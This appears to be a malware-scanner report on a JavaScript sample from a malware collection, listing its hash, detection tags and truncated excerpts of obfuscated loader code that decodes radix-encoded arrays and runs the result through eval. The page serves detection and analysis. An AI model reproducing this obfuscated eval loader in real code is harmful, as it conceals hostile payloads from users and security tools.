Suspicious ^80% javascript-malware-collection Download

20151210_957a645dcfd7925a173dfb88d8c4cebf.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-25683bbc900d8f8bb8d79916cd9427f4e48e9ed2be0a7a4a68d1538b53f16a026ef

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var SeOGevDMwMbJm=[];
2MGMLWwi=(-47+47)/674;while(true){if(MGMLWwi>=(105763+605)/831){break;}SeOGevDMwMbJm[MGMLWwi]=String.fromCharCode(MGMLWwi);MGMLWwi++;}
3function uQLpR(kOAIjLGMXjL,hvqEwqkAgqcQd,IZIpPdfD){qFHC=parseInt(kOAIjLGMXjL,hvqEwqkAgqcQd);yEKkF=qFHC.toString(IZIpPdfD);return yEKkF;}function StgbjyrECHtCXtb(gzeweosoEDLauxDNZ){eval(gzeweosoEDLauxDNZ)}
4function snjqdCotJVKlKCgAxNcIyyPTJvfoDVGVDrGtSDiluuRoaJqhthcgeg(vSFjPhqUZeiFj,PrBQUHdroCYqiG){ return SeOGevDMwMbJm[uQLpR(vSFjPhqUZeiFj[PrBQUHdroCYqiG],(795+855)/66,(7155+305)/746)];}
5function thnqCZW(WzwoxFxjrjwEwmTJQlNCNCbcNKtPMugTZmnh) {return !isNaN(parseFloat(WzwoxFxjrjwEwmTJQlNCNCbcNKtPMugTZmnh)) && isFinite(WzwoxFxjrjwEwmTJQlNCNCbcNKtPMugTZmnh);}
6function uYhcTMZswTy(ouvLdNtl,GXjCYy){return ouvLdNtl.split(GXjCYy)}
7var y=[];y[0]="d";y[1]="a";y[2]="d";y[3]="a";y[4]="4i";y[5]="3m";y[6]="4e";y[7]="17";y[8]="47";y[9]="17";y[10]="2b";y …

Massive array index assignment line 8

8:3006… ";e[751]="27";e[752]="25";e[753]="1g";e[754]="17";e[755]="17";e[756]="4n";e[757]="d";e[758]="a";e[759]="17";e[760]="17";e[761]="17";e[762]="17";e[763]="17";e[764]="17";e[765]="17";e[766]="17";e[767]="43";e[768]="49";e[769]="17";e[770]="2b";e[771]="17";e[772]="1o";e[773]="29";e[774]="17";e[775]="4d";e[776]="33";e[777]="41";e[778]="1l";e[779]="4c";e[780]="4b";e[781]="4f";e[782]="45";e[783]="4g";e[784]="45";e …